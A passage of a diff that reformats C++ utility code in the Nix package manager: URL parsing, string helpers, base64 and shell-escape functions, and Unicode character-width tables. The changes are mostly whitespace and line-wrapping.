BadURL("file:// URL '%s' has unexpected authority '%s'", - url, *authority); + throw BadURL("file:// URL '%s' has unexpected authority '%s'", url, *authority); if (transportIsFile && path.empty()) path = "/"; @@ -43,8 +39,7 @@ ParsedURL parseURL(const std::string & url) .authority = authority, .path = percentDecode(path), .query = decodeQuery(query), - .fragment = percentDecode(std::string(fragment)) - }; + .fragment = percentDecode(std::string(fragment))}; } else @@ -54,7 +49,7 @@ ParsedURL parseURL(const std::string & url) std::string percentDecode(std::string_view in) { std::string decoded; - for (size_t i = 0; i < in.size(); ) { + for (size_t i = 0; i < in.size();) { if (in[i] == '%') { if (i + 2 >= in.size()) throw BadURL("invalid URI parameter '%s'", in); @@ -81,9 +76,7 @@ std::map decodeQuery(const std::string & query) continue; } - result.emplace( - s.substr(0, e), - percentDecode(std::string_view(s).substr(e + 1))); + result.emplace(s.substr(0, e), percentDecode(std::string_view(s).substr(e + 1))); } return result; @@ -97,10 +90,7 @@ std::string percentEncode(std::string_view s, std::string_view keep) std::string res; for (auto & c : s) // unreserved + keep - if ((c >= 'a' && c <= 'z') - || (c >= 'A' && c <= 'Z') - || (c >= '0' && c <= '9') - || strchr("-._~", c) + if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') || strchr("-._~", c) || keep.find(c) != std::string::npos) res += c; else @@ -113,7 +103,8 @@ std::string encodeQuery(const std::map & ss) std::string res; bool first = true; for (auto & [name, value] : ss) { - if (!first) res += '&'; + if (!first) + res += '&'; first = false; res += percentEncode(name, allowedInQuery); res += '='; @@ -124,29 +115,20 @@ std::string encodeQuery(const std::map & ss) std::string ParsedURL::to_string() const { - return - scheme - + ":" - + (authority ? "//" + *authority : "") - + percentEncode(path, allowedInPath) - + (query.empty() ? "" : "?" + encodeQuery(query)) - + (fragment.empty() ? "" : "#" + percentEncode(fragment)); + return scheme + ":" + (authority ? "//" + *authority : "") + percentEncode(path, allowedInPath) + + (query.empty() ? "" : "?" + encodeQuery(query)) + (fragment.empty() ? "" : "#" + percentEncode(fragment)); } -std::ostream & operator << (std::ostream & os, const ParsedURL & url) +std::ostream & operator<<(std::ostream & os, const ParsedURL & url) { os << url.to_string(); return os; } -bool ParsedURL::operator ==(const ParsedURL & other) const noexcept +bool ParsedURL::operator==(const ParsedURL & other) const noexcept { - return - scheme == other.scheme - && authority == other.authority - && path == other.path - && query == other.query - && fragment == other.fragment; + return scheme == other.scheme && authority == other.authority && path == other.path && query == other.query + && fragment == other.fragment; } ParsedURL ParsedURL::canonicalise() @@ -167,7 +149,7 @@ ParsedUrlScheme parseUrlScheme(std::string_view scheme) { auto application = splitPrefixTo(scheme, '+'); auto transport = scheme; - return ParsedUrlScheme { + return ParsedUrlScheme{ .application = application, .transport = transport, }; @@ -181,11 +163,7 @@ std::string fixGitURL(const std::string & url) if (hasPrefix(url, "file:")) return url; if (url.find("://") == std::string::npos) { - return (ParsedURL { - .scheme = "file", - .authority = "", - .path = url - }).to_string(); + return (ParsedURL{.scheme = "file", .authority = "", .path = url}).to_string(); } return url; } diff --git a/src/libutil/users.cc b/src/libutil/users.cc index 5a5d740c6..3f9ead865 100644 --- a/src/libutil/users.cc +++ b/src/libutil/users.cc @@ -20,7 +20,6 @@ Path getCacheDir() } } - Path getConfigDir() { auto dir = getEnv("NIX_CONFIG_HOME"); @@ -41,14 +40,13 @@ std::vector getConfigDirs() Path configHome = getConfigDir(); auto configDirs = getEnv("XDG_CONFIG_DIRS").value_or("/etc/xdg"); std::vector result = tokenizeString>(configDirs, ":"); - for (auto& p : result) { + for (auto & p : result) { p += "/nix"; } result.insert(result.begin(), configHome); return result; } - Path getDataDir() { auto dir = getEnv("NIX_DATA_HOME"); @@ -86,7 +84,6 @@ Path createNixStateDir() return dir; } - std::string expandTilde(std::string_view path) { // TODO: expand ~user ? diff --git a/src/libutil/util.cc b/src/libutil/util.cc index ffd85ffbb..0d10dde81 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -13,12 +13,13 @@ #include #ifdef NDEBUG -#error "Nix may not be built with assertions disabled (i.e. with -DNDEBUG)." +# error "Nix may not be built with assertions disabled (i.e. with -DNDEBUG)." #endif namespace nix { -void initLibUtil() { +void initLibUtil() +{ // Check that exception handling works. Exception handling has been observed // not to work on darwin when the linker flags aren't quite right. // In this case we don't want to expose the user to some unrelated uncaught @@ -27,7 +28,8 @@ void initLibUtil() { // When exception handling fails, the message tends to be printed by the // C++ runtime, followed by an abort. // For example on macOS we might see an error such as - // libc++abi: terminating with uncaught exception of type nix::SystemError: error: C++ exception handling is broken. This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded. + // libc++abi: terminating with uncaught exception of type nix::SystemError: error: C++ exception handling is broken. + // This would appear to be a problem with the way Nix was compiled and/or linked and/or loaded. bool caught = false; try { throwExceptionSelfCheck(); @@ -46,37 +48,33 @@ void initLibUtil() { std::vector stringsToCharPtrs(const Strings & ss) { std::vector res; - for (auto & s : ss) res.push_back((char *) s.c_str()); + for (auto & s : ss) + res.push_back((char *) s.c_str()); res.push_back(0); return res; } - ////////////////////////////////////////////////////////////////////// - std::string chomp(std::string_view s) { size_t i = s.find_last_not_of(" \n\r\t"); return i == s.npos ? "" : std::string(s, 0, i + 1); } - std::string trim(std::string_view s, std::string_view whitespace) { auto i = s.find_first_not_of(whitespace); - if (i == s.npos) return ""; + if (i == s.npos) + return ""; auto j = s.find_last_not_of(whitespace); return std::string(s, i, j == s.npos ? j : j - i + 1); } - -std::string replaceStrings( - std::string res, - std::string_view from, - std::string_view to) +std::string replaceStrings(std::string res, std::string_view from, std::string_view to) { - if (from.empty()) return res; + if (from.empty()) + return res; size_t pos = 0; while ((pos = res.find(from, pos)) != res.npos) { res.replace(pos, from.size(), to); @@ -85,11 +83,11 @@ std::string replaceStrings( return res; } - std::string rewriteStrings(std::string s, const StringMap & rewrites) { for (auto & i : rewrites) { - if (i.first == i.second) continue; + if (i.first == i.second) + continue; size_t j = 0; while ((j = s.find(i.first, j)) != s.npos) s.replace(j, i.first.size(), i.second); @@ -110,7 +108,7 @@ std::optional string2Int(const std::string_view s) } // Explicitly instantiated in one place for faster compilation -template std::optional string2Int(const std::string_view s); +template std::optional string2Int(const std::string_view s); template std::optional string2Int(const std::string_view s); template std::optional string2Int(const std::string_view s); template std::optional string2Int(const std::string_view s); @@ -134,12 +132,9 @@ std::optional string2Float(const std::string_view s) template std::optional string2Float(const std::string_view s); template std::optional string2Float(const std::string_view s); - std::string renderSize(uint64_t value, bool align) { - static const std::array prefixes{{ - 'K', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y' - }}; + static const std::array prefixes{{'K', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y'}}; size_t power = 0; double res = value; while (res > 1024 && power < prefixes.size()) { @@ -149,20 +144,16 @@ std::string renderSize(uint64_t value, bool align) return fmt(align ? "%6.1f %ciB" : "%.1f %ciB", power == 0 ? res / 1024 : res, prefixes.at(power)); } - bool hasPrefix(std::string_view s, std::string_view prefix) { return s.compare(0, prefix.size(), prefix) == 0; } - bool hasSuffix(std::string_view s, std::string_view suffix) { - return s.size() >= suffix.size() - && s.substr(s.size() - suffix.size()) == suffix; + return s.size() >= suffix.size() && s.substr(s.size() - suffix.size()) == suffix; } - std::string toLower(std::string s) { for (auto & c : s) @@ -170,19 +161,20 @@ std::string toLower(std::string s) return s; } - std::string shellEscape(const std::string_view s) { std::string r; r.reserve(s.size() + 2); r += '\''; for (auto & i : s) - if (i == '\'') r += "'\\''"; else r += i; + if (i == '\'') + r += "'\\''"; + else + r += i; r += '\''; return r; } - void ignoreExceptionInDestructor(Verbosity lvl) { /* Make sure no exceptions leave this function. @@ -193,7 +185,8 @@ void ignoreExceptionInDestructor(Verbosity lvl) } catch (std::exception & e) { printMsg(lvl, "error (ignored): %1%", e.what()); } - } catch (...) { } + } catch (...) { + } } void ignoreExceptionExceptInterrupt(Verbosity lvl) @@ -207,7 +200,6 @@ void ignoreExceptionExceptInterrupt(Verbosity lvl) } } - constexpr char base64Chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; std::string base64Encode(std::string_view s) @@ -225,19 +217,20 @@ std::string base64Encode(std::string_view s) } } - if (nbits) res.push_back(base64Chars[data << (6 - nbits) & 0x3f]); - while (res.size() % 4) res.push_back('='); + if (nbits) + res.push_back(base64Chars[data << (6 - nbits) & 0x3f]); + while (res.size() % 4) + res.push_back('='); return res; } - std::string base64Decode(std::string_view s) { constexpr char npos = -1; constexpr std::array base64DecodeChars = [&] { - std::array result{}; - for (auto& c : result) + std::array result{}; + for (auto & c : result) c = npos; for (int i = 0; i < 64; i++) result[base64Chars[i]] = i; @@ -251,8 +244,10 @@ std::string base64Decode(std::string_view s) unsigned int d = 0, bits = 0; for (char c : s) { - if (c == '=') break; - if (c == '\n') continue; + if (c == '=') + break; + if (c == '\n') + continue; char digit = base64DecodeChars[(unsigned char) c]; if (digit == npos) @@ -269,7 +264,6 @@ std::string base64Decode(std::string_view s) return res; } - std::string stripIndentation(std::string_view s) { size_t minIndent = 10000; @@ -297,7 +291,8 @@ std::string stripIndentation(std::string_view s) size_t pos = 0; while (pos < s.size()) { auto eol = s.find('\n', pos); - if (eol == s.npos) eol = s.size(); + if (eol == s.npos) + eol = s.size(); if (eol - pos > minIndent) res.append(s.substr(pos + minIndent, eol - pos - minIndent)); res.push_back('\n'); @@ -307,7 +302,6 @@ std::string stripIndentation(std::string_view s) return res; } - std::pair getLine(std::string_view s) { auto newline = s.find('\n'); @@ -322,7 +316,6 @@ std::pair getLine(std::string_view s) } } - std::string showBytes(uint64_t bytes) { return fmt("%.2f MiB", bytes / (1024.0 * 1024.0)); diff --git a/src/libutil/widecharwidth/widechar_width.h b/src/libutil/widecharwidth/widechar_width.h index 92e63e913..d2416c04e 100644 --- a/src/libutil/widecharwidth/widechar_width.h +++ b/src/libutil/widecharwidth/widechar_width.h @@ -30,1406 +30,318 @@ namespace { /* Special width values */ enum { - widechar_nonprint = -1, // The character is not printable. - widechar_combining = -2, // The character is a zero-width combiner. - widechar_ambiguous = -3, // The character is East-Asian ambiguous width. - widechar_private_use = -4, // The character is for private use. - widechar_unassigned = -5, // The character is unassigned. - widechar_widened_in_9 = -6, // Width is 1 in Unicode 8, 2 in Unicode 9+. - widechar_non_character = -7 // The character is a noncharacter. + widechar_nonprint = -1, // The character is not printable. + widechar_combining = -2, // The character is a zero-width combiner. + widechar_ambiguous = -3, // The character is East-Asian ambiguous width. + widechar_private_use = -4, // The character is for private use. + widechar_unassigned = -5, // The character is unassigned. + widechar_widened_in_9 = -6, // Width is 1 in Unicode 8, 2 in Unicode 9+. + widechar_non_character = -7 // The character is a noncharacter. }; /* An inclusive range of characters. */ -struct widechar_range { - uint32_t lo; - uint32_t hi; +struct widechar_range +{ + uint32_t lo; + uint32_t hi; }; /* Simple ASCII characters - used a lot, so we check them first. */ -static const struct widechar_range widechar_ascii_table[] = { - {0x00020, 0x0007E} -}; +static const struct widechar_range widechar_ascii_table[] = {{0x00020, 0x0007E}}; /* Private usage range. */ static const struct widechar_range widechar_private_table[] = { - {0x0E000, 0x0F8FF}, - {0xF0000, 0xFFFFD}, - {0x100000, 0x10FFFD} -}; + {0x0E000, 0x0F8FF}, {0xF0000, 0xFFFFD}, {0x100000, 0x10FFFD}}; /* Nonprinting characters. */ static const struct widechar_range widechar_nonprint_table[] = { - {0x00000, 0x0001F}, - {0x0007F, 0x0009F}, - {0x000AD, 0x000AD}, - {0x00600, 0x00605}, - {0x0061C, 0x0061C}, - {0x006DD, 0x006DD}, - {0x0070F, 0x0070F}, - {0x00890, 0x00891}, - {0x008E2, 0x008E2}, - {0x0180E, 0x0180E}, - {0x0200B, 0x0200F}, - {0x02028, 0x0202E}, - {0x02060, 0x02064}, - {0x02066, 0x0206F}, - {0x0D800, 0x0DFFF}, - {0x0FEFF, 0x0FEFF}, - {0x0FFF9, 0x0FFFB}, - {0x110BD, 0x110BD}, - {0x110CD, 0x110CD}, - {0x13430, 0x1343F}, - {0x1BCA0, 0x1BCA3}, - {0x1D173, 0x1D17A}, - {0xE0001, 0xE0001}, - {0xE0020, 0xE007F} -}; + {0x00000, 0x0001F}, {0x0007F, 0x0009F}, {0x000AD, 0x000AD}, {0x00600, 0x00605}, {0x0061C, 0x0061C}, + {0x006DD, 0x006DD}, {0x0070F, 0x0070F}, {0x00890, 0x00891}, {0x008E2, 0x008E2}, {0x0180E, 0x0180E}, + {0x0200B, 0x0200F}, {0x02028, 0x0202E}, {0x02060, 0x02064}, {0x02066, 0x0206F}, {0x0D800, 0x0DFFF}, + {0x0FEFF, 0x0FEFF}, {0x0FFF9, 0x0FFFB}, {0x110BD, 0x110BD}, {0x110CD, 0x110CD}, {0x13430, 0x1343F}, + {0x1BCA0, 0x1BCA3}, {0x1D173, 0x1D17A}, {0xE0001, 0xE0001}, {0xE0020, 0xE007F}}; /* Width 0 combining marks. */ static const struct widechar_range widechar_combining_table[] = { - {0x00300, 0x0036F}, - {0x00483, 0x00489}, - {0x00591, 0x005BD}, - {0x005BF, 0x005BF}, - {0x005C1, 0x005C2}, - {0x005C4, 0x005C5}, - {0x005C7, 0x005C7}, - {0x00610, 0x0061A}, - {0x0064B, 0x0065F}, - {0x00670, 0x00670}, - {0x006D6, 0x006DC}, - {0x006DF, 0x006E4}, - {0x006E7, 0x006E8}, - {0x006EA, 0x006ED}, - {0x00711, 0x00711}, - {0x00730, 0x0074A}, - {0x007A6, 0x007B0}, - {0x007EB, 0x007F3}, - {0x007FD, 0x007FD}, - {0x00816, 0x00819}, - {0x0081B, 0x00823}, - {0x00825, 0x00827}, - {0x00829, 0x0082D}, - {0x00859, 0x0085B}, - {0x00897, 0x0089F}, - {0x008CA, 0x008E1}, - {0x008E3, 0x00903}, - {0x0093A, 0x0093C}, - {0x0093E, 0x0094F}, - {0x00951, 0x00957}, - {0x00962, 0x00963}, - {0x00981, 0x00983}, - {0x009BC, 0x009BC}, - {0x009BE, 0x009C4}, - {0x009C7, 0x009C8}, - {0x009CB, 0x009CD}, - {0x009D7, 0x009D7}, - {0x009E2, 0x009E3}, - {0x009FE, 0x009FE}, - {0x00A01, 0x00A03}, - {0x00A3C, 0x00A3C}, - {0x00A3E, 0x00A42}, - {0x00A47, 0x00A48}, - {0x00A4B, 0x00A4D}, - {0x00A51, 0x00A51}, - {0x00A70, 0x00A71}, - {0x00A75, 0x00A75}, - {0x00A81, 0x00A83}, - {0x00ABC, 0x00ABC}, - {0x00ABE, 0x00AC5}, - {0x00AC7, 0x00AC9}, - {0x00ACB, 0x00ACD}, - {0x00AE2, 0x00AE3}, - {0x00AFA, 0x00AFF}, - {0x00B01, 0x00B03}, - {0x00B3C, 0x00B3C}, - {0x00B3E, 0x00B44}, - {0x00B47, 0x00B48}, - {0x00B4B, 0x00B4D}, - {0x00B55, 0x00B57}, - {0x00B62, 0x00B63}, - {0x00B82, 0x00B82}, - {0x00BBE, 0x00BC2}, - {0x00BC6, 0x00BC8}, - {0x00BCA, 0x00BCD}, - {0x00BD7, 0x00BD7}, - {0x00C00, 0x00C04}, - {0x00C3C, 0x00C3C}, - {0x00C3E, 0x00C44}, - {0x00C46, 0x00C48}, - {0x00C4A, 0x00C4D}, - {0x00C55, 0x00C56}, - {0x00C62, 0x00C63}, - {0x00C81, 0x00C83}, - {0x00CBC, 0x00CBC}, - {0x00CBE, 0x00CC4}, - {0x00CC6, 0x00CC8}, - {0x00CCA, 0x00CCD}, - {0x00CD5, 0x00CD6}, - {0x00CE2, 0x00CE3}, - {0x00CF3, 0x00CF3}, - {0x00D00, 0x00D03}, - {0x00D3B, 0x00D3C}, - {0x00D3E, 0x00D44}, - {0x00D46, 0x00D48}, - {0x00D4A, 0x00D4D}, - {0x00D57, 0x00D57}, - {0x00D62, 0x00D63}, - {0x00D81, 0x00D83}, - {0x00DCA, 0x00DCA}, - {0x00DCF, 0x00DD4}, - {0x00DD6, 0x00DD6}, - {0x00DD8, 0x00DDF}, - {0x00DF2, 0x00DF3}, - {0x00E31, 0x00E31}, - {0x00E34, 0x00E3A}, - {0x00E47, 0x00E4E}, - {0x00EB1, 0x00EB1}, - {0x00EB4, 0x00EBC}, - {0x00EC8, 0x00ECE}, - {0x00F18, 0x00F19}, - {0x00F35, 0x00F35}, - {0x00F37, 0x00F37}, - {0x00F39, 0x00F39}, - {0x00F3E, 0x00F3F}, - {0x00F71, 0x00F84}, - {0x00F86, 0x00F87}, - {0x00F8D, 0x00F97}, - {0x00F99, 0x00FBC}, - {0x00FC6, 0x00FC6}, - {0x0102B, 0x0103E}, - {0x01056, 0x01059}, - {0x0105E, 0x01060}, - {0x01062, 0x01064}, - {0x01067, 0x0106D}, - {0x01071, 0x01074}, - {0x01082, 0x0108D}, - {0x0108F, 0x0108F}, - {0x0109A, 0x0109D}, - {0x0135D, 0x0135F}, - {0x01712, 0x01715}, - {0x01732, 0x01734}, - {0x01752, 0x01753}, - {0x01772, 0x01773}, - {0x017B4, 0x017D3}, - {0x017DD, 0x017DD}, - {0x0180B, 0x0180D}, - {0x0180F, 0x0180F}, - {0x01885, 0x01886}, - {0x018A9, 0x018A9}, - {0x01920, 0x0192B}, - {0x01930, 0x0193B}, - {0x01A17, 0x01A1B}, - {0x01A55, 0x01A5E}, - {0x01A60, 0x01A7C}, - {0x01A7F, 0x01A7F}, - {0x01AB0, 0x01ACE}, - {0x01B00, 0x01B04}, - {0x01B34, 0x01B44}, - {0x01B6B, 0x01B73}, - {0x01B80, 0x01B82}, - {0x01BA1, 0x01BAD}, - {0x01BE6, 0x01BF3}, - {0x01C24, 0x01C37}, - {0x01CD0, 0x01CD2}, - {0x01CD4, 0x01CE8}, - {0x01CED, 0x01CED}, - {0x01CF4, 0x01CF4}, - {0x01CF7, 0x01CF9}, - {0x01DC0, 0x01DFF}, - {0x020D0, 0x020F0}, - {0x02CEF, 0x02CF1}, - {0x02D7F, 0x02D7F}, - {0x02DE0, 0x02DFF}, - {0x0302A, 0x0302F}, - {0x03099, 0x0309A}, - {0x0A66F, 0x0A672}, - {0x0A674, 0x0A67D}, - {0x0A69E, 0x0A69F}, - {0x0A6F0, 0x0A6F1}, - {0x0A802, 0x0A802}, - {0x0A806, 0x0A806}, - {0x0A80B, 0x0A80B}, - {0x0A823, 0x0A827}, - {0x0A82C, 0x0A82C}, - {0x0A880, 0x0A881}, - {0x0A8B4, 0x0A8C5}, - {0x0A8E0, 0x0A8F1}, - {0x0A8FF, 0x0A8FF}, - {0x0A926, 0x0A92D}, - {0x0A947, 0x0A953}, - {0x0A980, 0x0A983}, - {0x0A9B3, 0x0A9C0}, - {0x0A9E5, 0x0A9E5}, - {0x0AA29, 0x0AA36}, - {0x0AA43, 0x0AA43}, - {0x0AA4C, 0x0AA4D}, - {0x0AA7B, 0x0AA7D}, - {0x0AAB0, 0x0AAB0}, - {0x0AAB2, 0x0AAB4}, - {0x0AAB7, 0x0AAB8}, - {0x0AABE, 0x0AABF}, - {0x0AAC1, 0x0AAC1}, - {0x0AAEB, 0x0AAEF}, - {0x0AAF5, 0x0AAF6}, - {0x0ABE3, 0x0ABEA}, - {0x0ABEC, 0x0ABED}, - {0x0FB1E, 0x0FB1E}, - {0x0FE00, 0x0FE0F}, - {0x0FE20, 0x0FE2F}, - {0x101FD, 0x101FD}, - {0x102E0, 0x102E0}, - {0x10376, 0x1037A}, - {0x10A01, 0x10A03}, - {0x10A05, 0x10A06}, - {0x10A0C, 0x10A0F}, - {0x10A38, 0x10A3A}, - {0x10A3F, 0x10A3F}, - {0x10AE5, 0x10AE6}, - {0x10D24, 0x10D27}, - {0x10D69, 0x10D6D}, - {0x10EAB, 0x10EAC}, - {0x10EFC, 0x10EFF}, - {0x10F46, 0x10F50}, - {0x10F82, 0x10F85}, - {0x11000, 0x11002}, - {0x11038, 0x11046}, - {0x11070, 0x11070}, - {0x11073, 0x11074}, - {0x1107F, 0x11082}, - {0x110B0, 0x110BA}, - {0x110C2, 0x110C2}, - {0x11100, 0x11102}, - {0x11127, 0x11134}, - {0x11145, 0x11146}, - {0x11173, 0x11173}, - {0x11180, 0x11182}, - {0x111B3, 0x111C0}, - {0x111C9, 0x111CC}, - {0x111CE, 0x111CF}, - {0x1122C, 0x11237}, - {0x1123E, 0x1123E}, - {0x11241, 0x11241}, - {0x112DF, 0x112EA}, - {0x11300, 0x11303}, - {0x1133B, 0x1133C}, - {0x1133E, 0x11344}, - {0x11347, 0x11348}, - {0x1134B, 0x1134D}, - {0x11357, 0x11357}, - {0x11362, 0x11363}, - {0x11366, 0x1136C}, - {0x11370, 0x11374}, - {0x113B8, 0x113C0}, - {0x113C2, 0x113C2}, - {0x113C5, 0x113C5}, - {0x113C7, 0x113CA}, - {0x113CC, 0x113D0}, - {0x113D2, 0x113D2}, - {0x113E1, 0x113E2}, - {0x11435, 0x11446}, - {0x1145E, 0x1145E}, - {0x114B0, 0x114C3}, - {0x115AF, 0x115B5}, - {0x115B8, 0x115C0}, - {0x115DC, 0x115DD}, - {0x11630, 0x11640}, - {0x116AB, 0x116B7}, - {0x1171D, 0x1172B}, - {0x1182C, 0x1183A}, - {0x11930, 0x11935}, - {0x11937, 0x11938}, - {0x1193B, 0x1193E}, - {0x11940, 0x11940}, - {0x11942, 0x11943}, - {0x119D1, 0x119D7}, - {0x119DA, 0x119E0}, - {0x119E4, 0x119E4}, - {0x11A01, 0x11A0A}, - {0x11A33, 0x11A39}, - {0x11A3B, 0x11A3E}, - {0x11A47, 0x11A47}, - {0x11A51, 0x11A5B}, - {0x11A8A, 0x11A99}, - {0x11C2F, 0x11C36}, - {0x11C38, 0x11C3F}, - {0x11C92, 0x11CA7}, - {0x11CA9, 0x11CB6}, - {0x11D31, 0x11D36}, - {0x11D3A, 0x11D3A}, - {0x11D3C, 0x11D3D}, - {0x11D3F, 0x11D45}, - {0x11D47, 0x11D47}, - {0x11D8A, 0x11D8E}, - {0x11D90, 0x11D91}, - {0x11D93, 0x11D97}, - {0x11EF3, 0x11EF6}, - {0x11F00, 0x11F01}, - {0x11F03, 0x11F03}, - {0x11F34, 0x11F3A}, - {0x11F3E, 0x11F42}, - {0x11F5A, 0x11F5A}, - {0x13440, 0x13440}, - {0x13447, 0x13455}, - {0x1611E, 0x1612F}, - {0x16AF0, 0x16AF4}, - {0x16B30, 0x16B36}, - {0x16F4F, 0x16F4F}, - {0x16F51, 0x16F87}, - {0x16F8F, 0x16F92}, - {0x16FE4, 0x16FE4}, - {0x16FF0, 0x16FF1}, - {0x1BC9D, 0x1BC9E}, - {0x1CF00, 0x1CF2D}, - {0x1CF30, 0x1CF46}, - {0x1D165, 0x1D169}, - {0x1D16D, 0x1D172}, - {0x1D17B, 0x1D182}, - {0x1D185, 0x1D18B}, - {0x1D1AA, 0x1D1AD}, - {0x1D242, 0x1D244}, - {0x1DA00, 0x1DA36}, - {0x1DA3B, 0x1DA6C}, - {0x1DA75, 0x1DA75}, - {0x1DA84, 0x1DA84}, - {0x1DA9B, 0x1DA9F}, - {0x1DAA1, 0x1DAAF}, - {0x1E000, 0x1E006}, - {0x1E008, 0x1E018}, - {0x1E01B, 0x1E021}, - {0x1E023, 0x1E024}, - {0x1E026, 0x1E02A}, - {0x1E08F, 0x1E08F}, - {0x1E130, 0x1E136}, - {0x1E2AE, 0x1E2AE}, - {0x1E2EC, 0x1E2EF}, - {0x1E4EC, 0x1E4EF}, - {0x1E5EE, 0x1E5EF}, - {0x1E8D0, 0x1E8D6}, - {0x1E944, 0x1E94A}, - {0xE0100, 0xE01EF} -}; + {0x00300, 0x0036F}, {0x00483, 0x00489}, {0x00591, 0x005BD}, {0x005BF, 0x005BF}, {0x005C1, 0x005C2}, + {0x005C4, 0x005C5}, {0x005C7, 0x005C7}, {0x00610, 0x0061A}, {0x0064B, 0x0065F}, {0x00670, 0x00670}, + {0x006D6, 0x006DC}, {0x006DF, 0x006E4}, {0x006E7, 0x006E8}, {0x006EA, 0x006ED}, {0x00711, 0x00711}, + {0x00730, 0x0074A}, {0x007A6, 0x007B0}, {0x007EB, 0x007F3}, {0x007FD, 0x007FD}, {0x00816, 0x00819}, + {0x0081B, 0x00823}, {0x00825, 0x00827}, {0x00829, 0x0082D}, {0x00859, 0x0085B}, {0x00897, 0x0089F}, + {0x008CA, 0x008E1}, {0x008E3, 0x00903}, {0x0093A, 0x0093C}, {0x0093E, 0x0094F}, {0x00951, 0x00957}, + {0x00962, 0x00963}, {0x00981, 0x00983}, {0x009BC, 0x009BC}, {0x009BE, 0x009C4}, {0x009C7, 0x009C8}, + {0x009CB, 0x009CD}, {0x009D7, 0x009D7}, {0x009E2, 0x009E3}, {0x009FE, 0x009FE}, {0x00A01, 0x00A03}, + {0x00A3C, 0x00A3C}, {0x00A3E, 0x00A42}, {0x00A47, 0x00A48}, {0x00A4B, 0x00A4D}, {0x00A51, 0x00A51}, + {0x00A70, 0x00A71}, {0x00A75, 0x00A75}, {0x00A81, 0x00A83}, {0x00ABC, 0x00ABC}, {0x00ABE, 0x00AC5}, + {0x00AC7, 0x00AC9}, {0x00ACB, 0x00ACD}, {0x00AE2, 0x00AE3}, {0x00AFA, 0x00AFF}, {0x00B01, 0x00B03}, + {0x00B3C, 0x00B3C}, {0x00B3E, 0x00B44}, {0x00B47, 0x00B48}, {0x00B4B, 0x00B4D}, {0x00B55, 0x00B57}, + {0x00B62, 0x00B63}, {0x00B82, 0x00B82}, {0x00BBE, 0x00BC2}, {0x00BC6, 0x00BC8}, {0x00BCA, 0x00BCD}, + {0x00BD7, 0x00BD7}, {0x00C00, 0x00C04}, {0x00C3C, 0x00C3C}, {0x00C3E, 0x00C44}, {0x00C46, 0x00C48}, + {0x00C4A, 0x00C4D}, {0x00C55, 0x00C56}, {0x00C62, 0x00C63}, {0x00C81, 0x00C83}, {0x00CBC, 0x00CBC}, + {0x00CBE, 0x00CC4}, {0x00CC6, 0x00CC8}, {0x00CCA, 0x00CCD}, {0x00CD5, 0x00CD6}, {0x00CE2, 0x00CE3}, + {0x00CF3, 0x00CF3}, {0x00D00, 0x00D03}, {0x00D3B, 0x00D3C}, {0x00D3E, 0x00D44}, {0x00D46, 0x00D48}, + {0x00D4A, 0x00D4D}, {0x00D57, 0x00D57}, {0x00D62, 0x00D63}, {0x00D81, 0x00D83}, {0x00DCA, 0x00DCA}, + {0x00DCF, 0x00DD4}, {0x00DD6, 0x00DD6}, {0x00DD8, 0x00DDF}, {0x00DF2, 0x00DF3}, {0x00E31, 0x00E31}, + {0x00E34, 0x00E3A}, {0x00E47, 0x00E4E}, {0x00EB1, 0x00EB1}, {0x00EB4, 0x00EBC}, {0x00EC8, 0x00ECE}, + {0x00F18, 0x00F19}, {0x00F35, 0x00F35}, {0x00F37, 0x00F37}, {0x00F39, 0x00F39}, {0x00F3E, 0x00F3F}, + {0x00F71, 0x00F84}, {0x00F86, 0x00F87}, {0x00F8D, 0x00F97}, {0x00F99, 0x00FBC}, {0x00FC6, 0x00FC6}, + {0x0102B, 0x0103E}, {0x01056, 0x01059}, {0x0105E, 0x01060}, {0x01062, 0x01064}, {0x01067, 0x0106D}, + {0x01071, 0x01074}, {0x01082, 0x0108D}, {0x0108F, 0x0108F}, {0x0109A, 0x0109D}, {0x0135D, 0x0135F}, + {0x01712, 0x01715}, {0x01732, 0x01734}, {0x01752, 0x01753}, {0x01772, 0x01773}, {0x017B4, 0x017D3}, + {0x017DD, 0x017DD}, {0x0180B, 0x0180D}, {0x0180F, 0x0180F}, {0x01885, 0x01886}, {0x018A9, 0x018A9}, + {0x01920, 0x0192B}, {0x01930, 0x0193B}, {0x01A17, 0x01A1B}, {0x01A55, 0x01A5E}, {0x01A60, 0x01A7C}, + {0x01A7F, 0x01A7F}, {0x01AB0, 0x01ACE}, {0x01B00, 0x01B04}, {0x01B34, 0x01B44}, {0x01B6B, 0x01B73}, + {0x01B80, 0x01B82}, {0x01BA1, 0x01BAD}, {0x01BE6, 0x01BF3}, {0x01C24, 0x01C37}, {0x01CD0, 0x01CD2}, + {0x01CD4, 0x01CE8}, {0x01CED, 0x01CED}, {0x01CF4, 0x01CF4}, {0x01CF7, 0x01CF9}, {0x01DC0, 0x01DFF}, + {0x020D0, 0x020F0}, {0x02CEF, 0x02CF1}, {0x02D7F, 0x02D7F}, {0x02DE0, 0x02DFF}, {0x0302A, 0x0302F}, + {0x03099, 0x0309A}, {0x0A66F, 0x0A672}, {0x0A674, 0x0A67D}, {0x0A69E, 0x0A69F}, {0x0A6F0, 0x0A6F1}, + {0x0A802, 0x0A802}, {0x0A806, 0x0A806}, {0x0A80B, 0x0A80B}, {0x0A823, 0x0A827}, {0x0A82C, 0x0A82C}, + {0x0A880, 0x0A881}, {0x0A8B4, 0x0A8C5}, {0x0A8E0, 0x0A8F1}, {0x0A8FF, 0x0A8FF}, {0x0A926, 0x0A92D}, + {0x0A947, 0x0A953}, {0x0A980, 0x0A983}, {0x0A9B3, 0x0A9C0}, {0x0A9E5, 0x0A9E5}, {0x0AA29, 0x0AA36}, + {0x0AA43, 0x0AA43}, {0x0AA4C, 0x0AA4D}, {0x0AA7B, 0x0AA7D}, {0x0AAB0, 0x0AAB0}, {0x0AAB2, 0x0AAB4}, + {0x0AAB7, 0x0AAB8}, {0x0AABE, 0x0AABF}, {0x0AAC1, 0x0AAC1}, {0x0AAEB, 0x0AAEF}, {0x0AAF5, 0x0AAF6}, + {0x0ABE3, 0x0ABEA}, {0x0ABEC, 0x0ABED}, {0x0FB1E, 0x0FB1E}, {0x0FE00, 0x0FE0F}, {0x0FE20, 0x0FE2F}, + {0x101FD, 0x101FD}, {0x102E0, 0x102E0}, {0x10376, 